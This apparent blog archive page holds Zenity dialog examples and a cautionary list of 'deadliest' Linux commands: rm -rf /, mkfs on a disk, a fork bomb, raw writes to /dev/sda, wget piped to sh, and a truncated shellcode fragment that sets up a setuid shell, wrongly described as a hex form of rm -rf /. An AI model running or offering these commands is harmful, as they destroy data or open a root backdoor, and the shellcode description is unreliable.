Category Archives: academics

Zenity : A combination of gtk and bash

Zenity is a tool that help you to create a common functional GTK+ dialogs. It have various dialogs that each of them have different ways of presenting data and acquire data from user input.

Some example scripts

* szDate=$(zenity —calendar —text “Pick a day” —title “Medical Leave” —day 28 —month 8 —year 2009); echo $szDate

This would display the given date in calendar

* szAnswer=$(zenity —entry —text “where are you?” —entry-text “at lab”); echo $szAnswer

This would display a box with given text

* zenity —error —text “Error Message! ”

An error message

* zenity —info —text “Join us at”

A text window

* szSavePath=$(zenity —file-selection —save —confirm-overwrite);echo $szSavePath

File selection dialog box


Leave a comment

Filed under academics

The 7 deadliest linux commands

These are AFAIK, the 7 most deadliest commands

So, beware,

Dont try them at home or at office or at lab,

Or for that matter,

dont try them on your linux box

Of course, try them on windows

you would only get the ‘command not found’ option ===    🙂

These were taught to me by Raghunath the great, ASTI

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“cp -p /bin/sh /tmp/.beyond; chmod 4755

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){ :|: & };:

( if smileys are omitting the code follow this :   f(){ f|f & }; f , now replace f with a colon ( : ) , it does harm your system )

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often

lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files   again.


Filed under academics

is lab programs


they are here:


Leave a comment

Filed under lab related